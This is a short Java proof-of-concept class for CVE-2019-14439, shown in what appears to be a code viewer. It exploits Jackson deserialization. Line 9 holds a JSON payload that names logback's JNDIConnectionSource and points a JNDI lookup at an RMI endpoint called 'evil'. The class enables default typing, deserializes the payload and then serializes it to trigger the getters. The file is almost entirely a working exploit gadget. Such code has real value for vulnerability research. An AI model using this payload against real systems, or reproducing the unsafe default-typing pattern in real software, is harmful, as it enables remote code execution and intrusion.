| 5 | import java.io.IOException; |
| 6 | |
| 7 | public class CVE_2019_14439 { |
| 8 | public static void main(String[] args) throws IOException { |
| 9 | String json = "[\"ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"rmi://127.0.0.1:1088/evil\"}]"; |
| 10 | ObjectMapper mapper = new ObjectMapper(); |
| 11 | mapper.enableDefaultTyping(); |
| 12 | Object o = mapper.readValue(json, Object.class); |
| 13 | mapper.writeValueAsString(o);//调用所有个 get 方法 |
| 14 | } |
| 15 | } |
nothing calls this directly
no outgoing calls
no test coverage detected